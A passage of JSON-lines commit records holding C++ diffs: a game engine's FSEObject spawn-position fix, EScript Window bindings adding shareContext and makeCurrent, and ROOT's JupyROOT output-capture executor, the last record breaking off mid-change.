runner.setSimulation(simulation); \r\n\r\n  \/\/ this order has to be maintaned.  i'll need to fix this.\r\n  simulation->buildModel();\r\n  simulation->buildAlgorithms();\r\n    \r\n\r\n  auto integrable = simulation->getIntegrator()->getIntegratable();\r\n  Real* initialState = new Real[integrable->getStateDimension()];\r\n  integrable->getState(initialState);\r\n\r\n  action = new DelegateAction(\"Reset\",[initialState, integrable](){\r\n    integrable->setState(initialState);\r\n  });\r\n  simulation->addSimulationObject(action);\r\n\r\n  runner.run();\r\n\r\n\r\n\tUSE_TIMESTEP_TIMING(printAverageTimes());\r\n\r\n\treturn 0;\r\n\t}<|endoftext|>"}
{"text":"<commit_before>#include \"FSEObject.h\"\n#include \"..\/Application.h\"\n\nnamespace fse\n{\n\n\tFSEObject::FSEObject(Scene *scene) : position_(sf::Vector2f(0,0))\n\t{\n\t\tscene_ = scene;\n\t\tinput_ = scene->getApplication()->getInput();\n\t}\n\n\tFSEObject::FSEObject(Scene* scene, const sf::Vector2f spawnPos) : FSEObject(scene)\n\t{\n\n\t}\n\n\n\tFSEObject::~FSEObject()\n\t{\n\t\t\n\t}\n\n\tvoid FSEObject::setPosition(const sf::Vector2f position)\n\t{\n\t\tposition_ = position;\n\t}\n\n\tsf::Vector2f FSEObject::getPosition()\n\t{\n\t\treturn position_;\n\t}\n\n\tvoid FSEObject::BeginContact(FSEObject* otherObject, b2Contact* contact)\n\t{\n\t}\n\n\tvoid FSEObject::EndContact(FSEObject* otherObject, b2Contact* contact)\n\t{\n\t}\n\n\tvoid FSEObject::PreSolve(FSEObject* otherObject, b2Contact* contact, const b2Manifold* oldManifold)\n\t{\n\t}\n\n\tvoid FSEObject::PostSolve(FSEObject* otherObject, b2Contact* contact, const b2ContactImpulse* impulse)\n\t{\n\t}\n\n\n\tint FSEObject::getZOrder() const\n\t{\n\t\treturn z_order_;\n\t}\n\n\tbool FSEObject::isPendingKill() const\n\t{\n\t\tif (pending_timed_kill_)\n\t\t\treturn true;\n\t\treturn is_pending_kill_;\n\t}\n\n\tvoid FSEObject::setTimedKill()\n\t{\n\t\tpending_timed_kill_ = true;\n\t}\n\n\n\tScene* FSEObject::getScene()\n\t{\n\t\treturn scene_;\n\t}\n\n\tvoid FSEObject::spawn(int id)\n\t{\n\t\tid_ = id;\n\t\tspawned();\n\t\tspawned_signal_(this);\n\t\tspawned_signal_.disconnectAll();\n\t}\n\n\tbool FSEObject::destroy()\n\t{\n\t\tif (!is_pending_kill_)\n\t\t{\n\t\t\tis_pending_kill_ = true;\n\n\t\t\tscene_->destroyFSEObject(this);\n\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\tint FSEObject::getID()\n\t{\n\t\treturn id_;\n\t}\n\n\tvoid FSEObject::setZOrder(int ZOrder)\n\t{\n\t\tz_order_ = ZOrder;\n\t\tscene_->notifyZOrderChanged();\n\t}\n\n\tstd::vector<std::unique_ptr<FSEObject>>* FSEObject::getSceneFSEObjects() const\n\t{\n\t\treturn scene_->getFSEObjects();\n\t}\n\n}\n<commit_msg>FSEObject: Adjust position from spawnposition by default<commit_after>#include \"FSEObject.h\"\n#include \"..\/Application.h\"\n\nnamespace fse\n{\n\n\tFSEObject::FSEObject(Scene *scene) : position_(sf::Vector2f(0,0))\n\t{\n\t\tscene_ = scene;\n\t\tinput_ = scene->getApplication()->getInput();\n\t}\n\n\tFSEObject::FSEObject(Scene* scene, const sf::Vector2f spawnPos) : FSEObject(scene)\n\t{\n\t\tposition_ = spawnPos;\n\t}\n\n\n\tFSEObject::~FSEObject()\n\t{\n\t\t\n\t}\n\n\tvoid FSEObject::setPosition(const sf::Vector2f position)\n\t{\n\t\tposition_ = position;\n\t}\n\n\tsf::Vector2f FSEObject::getPosition()\n\t{\n\t\treturn position_;\n\t}\n\n\tvoid FSEObject::BeginContact(FSEObject* otherObject, b2Contact* contact)\n\t{\n\t}\n\n\tvoid FSEObject::EndContact(FSEObject* otherObject, b2Contact* contact)\n\t{\n\t}\n\n\tvoid FSEObject::PreSolve(FSEObject* otherObject, b2Contact* contact, const b2Manifold* oldManifold)\n\t{\n\t}\n\n\tvoid FSEObject::PostSolve(FSEObject* otherObject, b2Contact* contact, const b2ContactImpulse* impulse)\n\t{\n\t}\n\n\n\tint FSEObject::getZOrder() const\n\t{\n\t\treturn z_order_;\n\t}\n\n\tbool FSEObject::isPendingKill() const\n\t{\n\t\tif (pending_timed_kill_)\n\t\t\treturn true;\n\t\treturn is_pending_kill_;\n\t}\n\n\tvoid FSEObject::setTimedKill()\n\t{\n\t\tpending_timed_kill_ = true;\n\t}\n\n\n\tScene* FSEObject::getScene()\n\t{\n\t\treturn scene_;\n\t}\n\n\tvoid FSEObject::spawn(int id)\n\t{\n\t\tid_ = id;\n\t\tspawned();\n\t\tspawned_signal_(this);\n\t\tspawned_signal_.disconnectAll();\n\t}\n\n\tbool FSEObject::destroy()\n\t{\n\t\tif (!is_pending_kill_)\n\t\t{\n\t\t\tis_pending_kill_ = true;\n\n\t\t\tscene_->destroyFSEObject(this);\n\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\tint FSEObject::getID()\n\t{\n\t\treturn id_;\n\t}\n\n\tvoid FSEObject::setZOrder(int ZOrder)\n\t{\n\t\tz_order_ = ZOrder;\n\t\tscene_->notifyZOrderChanged();\n\t}\n\n\tstd::vector<std::unique_ptr<FSEObject>>* FSEObject::getSceneFSEObjects() const\n\t{\n\t\treturn scene_->getFSEObjects();\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\tThis file is part of the E_Util library.\n\tCopyright (C) 2012 Benjamin Eikel <benjamin@eikel.org>\n\t\n\tThis library is subject to the terms of the Mozilla Public License, v. 2.0.\n\tYou should have received a copy of the MPL along with this library; see the \n\tfile LICENSE. If not, you can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n*\/\n#include \"E_Window.h\"\n\n#include <EScript\/Basics.h>\n#include <EScript\/StdObjects.h>\n#include <Util\/Graphics\/Bitmap.h>\n#include <Util\/IO\/FileName.h>\n#include <Util\/Serialization\/Serialization.h>\n#include <Util\/UI\/UI.h>\n\nnamespace E_Util {\nnamespace E_UI {\n\nEScript::Type * E_Window::getTypeObject() {\n\t\/\/ E_Window ---|> E_Object\n\tstatic EScript::ERef<EScript::Type> typeObject = new EScript::Type(EScript::Object::getTypeObject());\n\treturn typeObject.get();\n}\n\nvoid E_Window::init(EScript::Namespace & lib) {\n\tEScript::Type * typeObject = E_Window::getTypeObject();\n\tEScript::declareConstant(&lib, getClassName(), typeObject);\n\n\tstatic const EScript::StringId ATTR_borderless(\"borderless\");\n\tstatic const EScript::StringId ATTR_debug(\"debug\");\n\tstatic const EScript::StringId ATTR_compatibilityProfile(\"compatibilityProfile\");\n\tstatic const EScript::StringId ATTR_fullscreen(\"fullscreen\");\n\tstatic const EScript::StringId ATTR_multisampled(\"multisampled\");\n\tstatic const EScript::StringId ATTR_positioned(\"positioned\");\n\tstatic const EScript::StringId ATTR_resizable(\"resizable\");\n\tstatic const EScript::StringId ATTR_clientAreaWidth(\"clientAreaWidth\");\n\tstatic const EScript::StringId ATTR_clientAreaHeight(\"clientAreaHeight\");\n\tstatic const EScript::StringId ATTR_posX(\"posX\");\n\tstatic const EScript::StringId ATTR_posY(\"posY\");\n\tstatic const EScript::StringId ATTR_multisamples(\"multisamples\");\n\tstatic const EScript::StringId ATTR_title(\"title\");\n\n\t\t\n\t\/\/!(static) [ESM] ExtObject Window.createPropertyObject()\n\tES_FUNCTION(typeObject, \"createPropertyObject\", 0, 0, {\n\t\tEScript::ERef<EScript::ExtObject> eProperties = EScript::ExtObject::create();\n\t\tconst Util::UI::Window::Properties properties; \/\/ for default values\n\t\t\n\t\teProperties->setAttribute(ATTR_borderless,EScript::Bool::create(properties.borderless));\n\t\teProperties->setAttribute(ATTR_debug,EScript::Bool::create(properties.debug));\n\t\teProperties->setAttribute(ATTR_compatibilityProfile,EScript::Bool::create(properties.compatibilityProfile));\n\t\teProperties->setAttribute(ATTR_fullscreen,EScript::Bool::create(properties.fullscreen));\n\t\teProperties->setAttribute(ATTR_multisampled,EScript::Bool::create(properties.multisampled));\n\t\teProperties->setAttribute(ATTR_positioned,EScript::Bool::create(properties.positioned));\n\t\teProperties->setAttribute(ATTR_resizable,EScript::Bool::create(properties.resizable));\n\t\teProperties->setAttribute(ATTR_clientAreaWidth,EScript::Number::create(properties.clientAreaWidth));\n\t\teProperties->setAttribute(ATTR_clientAreaHeight,EScript::Number::create(properties.clientAreaHeight));\n\t\teProperties->setAttribute(ATTR_posX,EScript::Number::create(properties.posX));\n\t\teProperties->setAttribute(ATTR_posY,EScript::Number::create(properties.posY));\n\t\teProperties->setAttribute(ATTR_multisamples,EScript::Number::create(properties.multisamples));\n\t\teProperties->setAttribute(ATTR_title,EScript::String::create(properties.title));\n\t\treturn eProperties.detachAndDecrease();\n\t})\n\n\t\/\/! [ESMF] Window new Window(Properties)\n\tES_CONSTRUCTOR(typeObject, 1, 1,{\n\t\tUtil::UI::Window::Properties properties; \n\t\tObject * eProperties = parameter[0].get();\n\t\t\n\t\tObject * attr;\n\t\tif( (attr = eProperties->getAttribute(ATTR_borderless).getValue()) != nullptr)\n\t\t\tproperties.borderless = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_debug).getValue()) != nullptr)\n\t\t\tproperties.debug = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_compatibilityProfile).getValue()) != nullptr)\n\t\t\tproperties.compatibilityProfile = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_fullscreen).getValue()) != nullptr)\n\t\t\tproperties.fullscreen = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_multisampled).getValue()) != nullptr)\n\t\t\tproperties.multisampled = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_positioned).getValue()) != nullptr)\n\t\t\tproperties.positioned = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_resizable).getValue()) != nullptr)\n\t\t\tproperties.resizable = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_clientAreaWidth).getValue()) != nullptr)\n\t\t\tproperties.clientAreaWidth = attr->toUInt();\n\t\tif( (attr = eProperties->getAttribute(ATTR_clientAreaHeight).getValue()) != nullptr)\n\t\t\tproperties.clientAreaHeight = attr->toUInt();\n\t\tif( (attr = eProperties->getAttribute(ATTR_posX).getValue()) != nullptr)\n\t\t\tproperties.posX = attr->toInt();\n\t\tif( (attr = eProperties->getAttribute(ATTR_posY).getValue()) != nullptr)\n\t\t\tproperties.posY = attr->toInt();\n\t\tif( (attr = eProperties->getAttribute(ATTR_multisamples).getValue()) != nullptr)\n\t\t\tproperties.multisamples = attr->toUInt();\n\t\tif( (attr = eProperties->getAttribute(ATTR_title).getValue()) != nullptr)\n\t\t\tproperties.title = attr->toString();\n\t\treturn new E_Window(properties);\n\t})\n\n\t\/\/! [ESMF] Void Window.destroy()\n\tES_MFUN(typeObject, E_Window, \"destroy\", 0, 0, (thisObj->destroy(),thisEObj))\n\n\t\/\/! [ESMF] thisObj Window.swapBuffers()\n\tES_MFUN(typeObject, E_Window, \"swapBuffers\", 0, 0, ((**thisObj)->swapBuffers(), thisObj))\n\n\t\/\/! [ESMF] Number Window.getSwapInterval()\n\tES_MFUN(typeObject, E_Window, \"getSwapInterval\", 0, 0, (**thisObj)->getSwapInterval())\n\n\t\/\/! [ESMF] self Window.grabInput()\n\tES_MFUN(typeObject, E_Window, \"grabInput\", 0, 0, ((**thisObj)->grabInput(),thisEObj))\n\n\t\/\/! [ESMF] thisObj Window.hideCursor()\n\tES_MFUN(typeObject, E_Window, \"hideCursor\", 0, 0, ((**thisObj)->hideCursor(),thisEObj))\n\n\t\/\/! [ESMF] thisObj Window.showCursor()\n\tES_MFUN(typeObject, E_Window, \"showCursor\", 0, 0, ((**thisObj)->showCursor(), thisObj))\n\n\t\/\/! [ESMF] self Window.ungrabInput()\n\tES_MFUN(typeObject, E_Window, \"ungrabInput\", 0, 0, ((**thisObj)->ungrabInput(),thisEObj))\n\n\t\/\/! [ESMF] thisObj Window.warpCursor(Number x, Number y)\n\tES_MFUN(typeObject, E_Window, \"warpCursor\", 2, 2, \n\t\t\t\t ((**thisObj)->warpCursor(parameter[0].toInt(), parameter[1].toInt()), thisObj))\n\n\t\/\/! [ESMF] thisObj Window.setIcon(String imagePath)\n\tES_MFUN(typeObject, E_Window, \"setIcon\", 1, 1, \n\t\t\t\t ((**thisObj)->setIcon(*Util::Serialization::loadBitmap(Util::FileName(parameter[0].toString())).get()), thisObj))\n}\n\nE_Window::E_Window(const Util::UI::Window::Properties & properties) :\n\tReferenceObject_t(E_Window::getTypeObject(), Util::UI::createWindow(properties)) {\n}\n\nE_Window::~E_Window() = default;\n\nvoid E_Window::destroy() {\n\tref().reset();\n}\n\n}\n}\n<commit_msg>Bindings for Window::makeCurrent() & new property 'shareContext'<commit_after>\/*\n\tThis file is part of the E_Util library.\n\tCopyright (C) 2012 Benjamin Eikel <benjamin@eikel.org>\n\t\n\tThis library is subject to the terms of the Mozilla Public License, v. 2.0.\n\tYou should have received a copy of the MPL along with this library; see the \n\tfile LICENSE. If not, you can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n*\/\n#include \"E_Window.h\"\n\n#include <EScript\/Basics.h>\n#include <EScript\/StdObjects.h>\n#include <Util\/Graphics\/Bitmap.h>\n#include <Util\/IO\/FileName.h>\n#include <Util\/Serialization\/Serialization.h>\n#include <Util\/UI\/UI.h>\n\nnamespace E_Util {\nnamespace E_UI {\n\nEScript::Type * E_Window::getTypeObject() {\n\t\/\/ E_Window ---|> E_Object\n\tstatic EScript::ERef<EScript::Type> typeObject = new EScript::Type(EScript::Object::getTypeObject());\n\treturn typeObject.get();\n}\n\nvoid E_Window::init(EScript::Namespace & lib) {\n\tEScript::Type * typeObject = E_Window::getTypeObject();\n\tEScript::declareConstant(&lib, getClassName(), typeObject);\n\n\tstatic const EScript::StringId ATTR_borderless(\"borderless\");\n\tstatic const EScript::StringId ATTR_debug(\"debug\");\n\tstatic const EScript::StringId ATTR_compatibilityProfile(\"compatibilityProfile\");\n\tstatic const EScript::StringId ATTR_fullscreen(\"fullscreen\");\n\tstatic const EScript::StringId ATTR_multisampled(\"multisampled\");\n\tstatic const EScript::StringId ATTR_positioned(\"positioned\");\n\tstatic const EScript::StringId ATTR_resizable(\"resizable\");\n\tstatic const EScript::StringId ATTR_clientAreaWidth(\"clientAreaWidth\");\n\tstatic const EScript::StringId ATTR_clientAreaHeight(\"clientAreaHeight\");\n\tstatic const EScript::StringId ATTR_posX(\"posX\");\n\tstatic const EScript::StringId ATTR_posY(\"posY\");\n\tstatic const EScript::StringId ATTR_multisamples(\"multisamples\");\n\tstatic const EScript::StringId ATTR_title(\"title\");\n\tstatic const EScript::StringId ATTR_shareContext(\"shareContext\");\n\n\t\t\n\t\/\/!(static) [ESM] ExtObject Window.createPropertyObject()\n\tES_FUNCTION(typeObject, \"createPropertyObject\", 0, 0, {\n\t\tEScript::ERef<EScript::ExtObject> eProperties = EScript::ExtObject::create();\n\t\tconst Util::UI::Window::Properties properties; \/\/ for default values\n\t\t\n\t\teProperties->setAttribute(ATTR_borderless,EScript::Bool::create(properties.borderless));\n\t\teProperties->setAttribute(ATTR_debug,EScript::Bool::create(properties.debug));\n\t\teProperties->setAttribute(ATTR_compatibilityProfile,EScript::Bool::create(properties.compatibilityProfile));\n\t\teProperties->setAttribute(ATTR_fullscreen,EScript::Bool::create(properties.fullscreen));\n\t\teProperties->setAttribute(ATTR_multisampled,EScript::Bool::create(properties.multisampled));\n\t\teProperties->setAttribute(ATTR_positioned,EScript::Bool::create(properties.positioned));\n\t\teProperties->setAttribute(ATTR_resizable,EScript::Bool::create(properties.resizable));\n\t\teProperties->setAttribute(ATTR_clientAreaWidth,EScript::Number::create(properties.clientAreaWidth));\n\t\teProperties->setAttribute(ATTR_clientAreaHeight,EScript::Number::create(properties.clientAreaHeight));\n\t\teProperties->setAttribute(ATTR_posX,EScript::Number::create(properties.posX));\n\t\teProperties->setAttribute(ATTR_posY,EScript::Number::create(properties.posY));\n\t\teProperties->setAttribute(ATTR_multisamples,EScript::Number::create(properties.multisamples));\n\t\teProperties->setAttribute(ATTR_title,EScript::String::create(properties.title));\n\t\teProperties->setAttribute(ATTR_shareContext,EScript::Bool::create(properties.shareContext));\n\t\treturn eProperties.detachAndDecrease();\n\t})\n\n\t\/\/! [ESMF] Window new Window(Properties)\n\tES_CONSTRUCTOR(typeObject, 1, 1,{\n\t\tUtil::UI::Window::Properties properties; \n\t\tObject * eProperties = parameter[0].get();\n\t\t\n\t\tObject * attr;\n\t\tif( (attr = eProperties->getAttribute(ATTR_borderless).getValue()) != nullptr)\n\t\t\tproperties.borderless = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_debug).getValue()) != nullptr)\n\t\t\tproperties.debug = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_compatibilityProfile).getValue()) != nullptr)\n\t\t\tproperties.compatibilityProfile = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_fullscreen).getValue()) != nullptr)\n\t\t\tproperties.fullscreen = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_multisampled).getValue()) != nullptr)\n\t\t\tproperties.multisampled = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_positioned).getValue()) != nullptr)\n\t\t\tproperties.positioned = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_resizable).getValue()) != nullptr)\n\t\t\tproperties.resizable = attr->toBool();\n\t\tif( (attr = eProperties->getAttribute(ATTR_clientAreaWidth).getValue()) != nullptr)\n\t\t\tproperties.clientAreaWidth = attr->toUInt();\n\t\tif( (attr = eProperties->getAttribute(ATTR_clientAreaHeight).getValue()) != nullptr)\n\t\t\tproperties.clientAreaHeight = attr->toUInt();\n\t\tif( (attr = eProperties->getAttribute(ATTR_posX).getValue()) != nullptr)\n\t\t\tproperties.posX = attr->toInt();\n\t\tif( (attr = eProperties->getAttribute(ATTR_posY).getValue()) != nullptr)\n\t\t\tproperties.posY = attr->toInt();\n\t\tif( (attr = eProperties->getAttribute(ATTR_multisamples).getValue()) != nullptr)\n\t\t\tproperties.multisamples = attr->toUInt();\n\t\tif( (attr = eProperties->getAttribute(ATTR_title).getValue()) != nullptr)\n\t\t\tproperties.title = attr->toString();\n\t\tif( (attr = eProperties->getAttribute(ATTR_shareContext).getValue()) != nullptr)\n\t\t\tproperties.shareContext = attr->toBool();\n\t\treturn new E_Window(properties);\n\t})\n\n\t\/\/! [ESMF] Void Window.destroy()\n\tES_MFUN(typeObject, E_Window, \"destroy\", 0, 0, (thisObj->destroy(),thisEObj))\n\n\t\/\/! [ESMF] thisObj Window.swapBuffers()\n\tES_MFUN(typeObject, E_Window, \"swapBuffers\", 0, 0, ((**thisObj)->swapBuffers(), thisObj))\n\n\t\/\/! [ESMF] Number Window.getSwapInterval()\n\tES_MFUN(typeObject, E_Window, \"getSwapInterval\", 0, 0, (**thisObj)->getSwapInterval())\n\n\t\/\/! [ESMF] self Window.grabInput()\n\tES_MFUN(typeObject, E_Window, \"grabInput\", 0, 0, ((**thisObj)->grabInput(),thisEObj))\n\n\t\/\/! [ESMF] thisObj Window.hideCursor()\n\tES_MFUN(typeObject, E_Window, \"hideCursor\", 0, 0, ((**thisObj)->hideCursor(),thisEObj))\n\n\t\/\/! [ESMF] thisObj Window.showCursor()\n\tES_MFUN(typeObject, E_Window, \"showCursor\", 0, 0, ((**thisObj)->showCursor(), thisObj))\n\n\t\/\/! [ESMF] self Window.ungrabInput()\n\tES_MFUN(typeObject, E_Window, \"ungrabInput\", 0, 0, ((**thisObj)->ungrabInput(),thisEObj))\n\n\t\/\/! [ESMF] thisObj Window.warpCursor(Number x, Number y)\n\tES_MFUN(typeObject, E_Window, \"warpCursor\", 2, 2, \n\t\t\t\t ((**thisObj)->warpCursor(parameter[0].toInt(), parameter[1].toInt()), thisObj))\n\n\t\/\/! [ESMF] thisObj Window.setIcon(String imagePath)\n\tES_MFUN(typeObject, E_Window, \"setIcon\", 1, 1, \n\t\t\t\t ((**thisObj)->setIcon(*Util::Serialization::loadBitmap(Util::FileName(parameter[0].toString())).get()), thisObj))\n\t\t\t\t \n\t\/\/! [ESMF] thisObj Window.makeCurrent()\n\tES_MFUN(typeObject, E_Window, \"makeCurrent\", 0, 0, ((**thisObj)->makeCurrent(),thisEObj))\n}\n\nE_Window::E_Window(const Util::UI::Window::Properties & properties) :\n\tReferenceObject_t(E_Window::getTypeObject(), Util::UI::createWindow(properties)) {\n}\n\nE_Window::~E_Window() = default;\n\nvoid E_Window::destroy() {\n\tref().reset();\n}\n\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Author: Danilo Piparo, Omar Zapata   16\/12\/2015\n\n#include <unistd.h>\n#include <fcntl.h>\n#include <string>\n#include <iostream>\n#include \"TInterpreter.h\"\n\nbool JupyROOTExecutorImpl(const char *code);\nbool JupyROOTDeclarerImpl(const char *code);\n\nclass JupyROOTExecutorHandler {\nprivate:\n   bool fCapturing = false;\n   std::string fStdoutpipe;\n   std::string fStderrpipe;\n   int fStdout_pipe[2];\n   int fStderr_pipe[2];\n   int fSaved_stderr;\n   int fSaved_stdout;\npublic:\n   JupyROOTExecutorHandler();\n   void Poll();\n   void InitCapture();\n   void EndCapture();\n   void Clear();\n   std::string &GetStdout();\n   std::string &GetStderr();\n};\n\n\n#ifndef F_LINUX_SPECIFIC_BASE\n#define F_LINUX_SPECIFIC_BASE       1024\n#endif\n#ifndef F_SETPIPE_SZ\n#define F_SETPIPE_SZ    (F_LINUX_SPECIFIC_BASE + 7)\n#endif\n\nconstexpr long MAX_PIPE_SIZE = 1048575;\n\nJupyROOTExecutorHandler::JupyROOTExecutorHandler() {}\n\n\nstatic void PollImpl(FILE *stdStream, int *pipeHandle, std::string &pipeContent)\n{\n   int buf_read;\n   char ch;\n   fflush(stdStream);\n   while (true) {\n      buf_read = read(pipeHandle[0], &ch, 1);\n      if (buf_read == 1) {\n         pipeContent += ch;\n      } else break;\n   }\n}\n\nvoid JupyROOTExecutorHandler::Poll()\n{\n   PollImpl(stdout, fStdout_pipe, fStdoutpipe);\n   PollImpl(stderr, fStderr_pipe, fStderrpipe);\n}\n\nstatic void InitCaptureImpl(int &savedStdStream, int *pipeHandle, int FILENO)\n{\n   savedStdStream = dup(FILENO);\n   if (pipe(pipeHandle) != 0) {\n      return;\n   }\n   long flags_stdout = fcntl(pipeHandle[0], F_GETFL);\n   flags_stdout |= O_NONBLOCK;\n   fcntl(pipeHandle[0], F_SETFL, flags_stdout);\n   fcntl(pipeHandle[0], F_SETPIPE_SZ, MAX_PIPE_SIZE);\n   dup2(pipeHandle[1], FILENO);\n   close(pipeHandle[1]);\n}\n\nvoid JupyROOTExecutorHandler::InitCapture()\n{\n   if (!fCapturing)  {\n      InitCaptureImpl(fSaved_stdout, fStdout_pipe, STDOUT_FILENO);\n      InitCaptureImpl(fSaved_stderr, fStderr_pipe, STDERR_FILENO);\n      fCapturing = true;\n   }\n}\n\nvoid JupyROOTExecutorHandler::EndCapture()\n{\n   if (fCapturing)  {\n      Poll();\n      dup2(fSaved_stdout, STDOUT_FILENO);\n      dup2(fSaved_stderr, STDERR_FILENO);\n      fCapturing = false;\n   }\n}\n\nvoid JupyROOTExecutorHandler::Clear()\n{\n   fStdoutpipe = \"\";\n   fStderrpipe = \"\";\n}\n\nstd::string &JupyROOTExecutorHandler::GetStdout()\n{\n   return fStdoutpipe;\n}\n\nstd::string &JupyROOTExecutorHandler::GetStderr()\n{\n   return fStderrpipe;\n}\n\nJupyROOTExecutorHandler *JupyROOTExecutorHandler_ptr = nullptr;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool JupyROOTExecutorImpl(const char *code)\n{\n   auto status = false;\n   try {\n      TInterpreter::EErrorCode err = TInterpreter::kNoError;\n      if (gInterpreter->ProcessLine(code, &err)) {\n         status = true;\n      }\n\n      if (err == TInterpreter::kProcessing) {\n         gInterpreter->ProcessLine(\".@\");\n         gInterpreter->ProcessLine(\"cerr << \\\"Unbalanced curly braces. This cell was not processed.\\\" << endl;\");\n      }\n   } catch (...) {\n      status = true;\n   }\n\n   return status;\n}\n\nbool JupyROOTDeclarerImpl(const char *code)\n{\n   bool status = false;\n   try {\n      if (gInterpreter->Declare(code)) {\n         status = true;\n      }\n   } catch (...) {\n      status = true;\n   }\n   return status;\n}\n\nextern \"C\" {\n\n   int JupyROOTExecutor(const char *code)\n   {\n      return JupyROOTExecutorImpl(code);\n   }\n   int JupyROOTDeclarer(const char *code)\n   {\n      return JupyROOTDeclarerImpl(code);\n   }\n\n   void JupyROOTExecutorHandler_Clear()\n   {\n      JupyROOTExecutorHandler_ptr->Clear();\n   }\n\n   void JupyROOTExecutorHandler_Ctor()\n   {\n      if (!JupyROOTExecutorHandler_ptr) {\n         JupyROOTExecutorHandler_ptr = new JupyROOTExecutorHandler();\n      }\n   }\n\n   void JupyROOTExecutorHandler_Poll()\n   {\n      JupyROOTExecutorHandler_ptr->Poll();\n   }\n\n   void JupyROOTExecutorHandler_EndCapture()\n   {\n      JupyROOTExecutorHandler_ptr->EndCapture();\n   }\n\n   void JupyROOTExecutorHandler_InitCapture()\n   {\n      JupyROOTExecutorHandler_ptr->InitCapture();\n   }\n\n   const char *JupyROOTExecutorHandler_GetStdout()\n   {\n      return JupyROOTExecutorHandler_ptr->GetStdout().c_str();\n   }\n\n   const char *JupyROOTExecutorHandler_GetStderr()\n   {\n      return JupyROOTExecutorHandler_ptr->GetStderr().c_str();\n   }\n\n   void JupyROOTExecutorHandler_Dtor()\n   {\n      if (!JupyROOTExecutorHandler_ptr) return;\n      delete JupyROOTExecutorHandler_ptr;\n      JupyROOTExecutorHandler_ptr = nullptr;\n   }\n\n}\n<commit_msg>Modernize<commit_after>\/\/ Author: Danilo Piparo, Omar Zapata   16\/12\/2015\n\n#include <unistd.h>\n#include <fcntl.h>\n#include <string>\n#include <iostream>\n#include \"TInterpreter.h\"\n\nbool JupyROOTExecutorImpl(const char *code);\nbool JupyROOTDeclarerImpl(const char *code);\n\nclass JupyROOTExecutorHandler {\nprivate:\n   bool fCapturing = false;\n   std::string fStdoutpipe;\n   std::string fStderrpipe;\n   int fStdout_pipe[2];\n   int fStderr_pipe[2];\n   int fSaved_stderr;\n   int fSaved_stdout;\npublic:\n   JupyROOTExecutorHandler();\n   void Poll();\n   void InitCapture();\n   void EndCapture();\n   void Clear();\n   std::string &GetStdout();\n   std::string &GetStderr();\n};\n\n\n#ifndef F_LINUX_SPECIFIC_BASE\n#define F_LINUX_SPECIFIC_BASE       1024\n#endif\n#ifndef F_SETPIPE_SZ\n#define F_SETPIPE_SZ    (F_LINUX_SPECIFIC_BASE + 7)\n#endif\n\nconstexpr long MAX_PIPE_SIZE = 1048575;\n\nJupyROOTExecutorHandler::JupyROOTExecutorHandler() {}\n\n\nstatic void PollImpl(FILE *stdStream, int *pipeHandle, std::string &pipeContent)\n{\n   int buf_read;\n   char ch;\n   fflush(stdStream);\n   while (true) {\n      buf_read = read(pipeHandle[0], &ch, 1);\n      if (buf_read == 1) {\n         pipeContent += ch;\n      } else break;\n   }\n}\n\nvoid JupyROOTExecutorHandler::Poll()\n{\n   PollImpl(stdout, fStdout_pipe, fStdoutpipe);\n   PollImpl(stderr, fStderr_pipe, fStderrpipe);\n}\n\nstatic void InitCaptureImpl(int &savedStdStream, int *pipeHandle, int FILENO)\n{\n   savedStdStream = dup(FILENO);\n   if (pipe(pipeHandle) != 0) {\n      return;\n   }\n   long flags_stdout = fcntl(pipeHandle[0], F_GETFL);\n   flags_stdout |= O_NONBLOCK;\n   fcntl(pipeHandle[0], F_SETFL, flags_stdout);\n   fcntl(pipeHandle[0], F_SETPIPE_SZ, MAX_PIPE_SIZE);\n   dup2(pipeHandle[1], FILENO);\n   close(pipeHandle[1]);\n}\n\nvoid JupyROOTExecutorHandler::InitCapture()\n{\n   if (!fCapturing)  {\n      InitCaptureImpl(fSaved_stdout, fStdout_pipe, STDOUT_FILENO);\n      InitCaptureImpl(fSaved_stderr, fStderr_pipe, STDERR_FILENO);\n      fCapturing = true;\n   }\n}\n\nvoid JupyROOTExecutorHandler::EndCapture()\n{\n   if (fCapturing)  {\n      Poll();\n      dup2(fSaved_stdout, STDOUT_FILENO);\n      dup2(fSaved_stderr, STDERR_FILENO);\n      fCapturing = false;\n   }\n}\n\nvoid JupyROOTExecutorHandler::Clear()\n{\n   fStdoutpipe = \"\";\n   fStderrpipe = \"\";\n}\n\nstd::string &JupyROOTExecutorHandler::GetStdout()\n{\n   return fStdoutpipe;\n}\n\nstd::string &JupyROOTExecutorHandler::GetStderr()\n{\n   return fStderrpipe;\n}\n\nJupyROOTExecutorHandler *JupyROOTExecutorHandler_ptr = nullptr;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool JupyROOTExecutorImpl(const char *code)\n{\n   auto status = false;\n   try {\n      auto err = TInterpreter::kNoError;\n      if 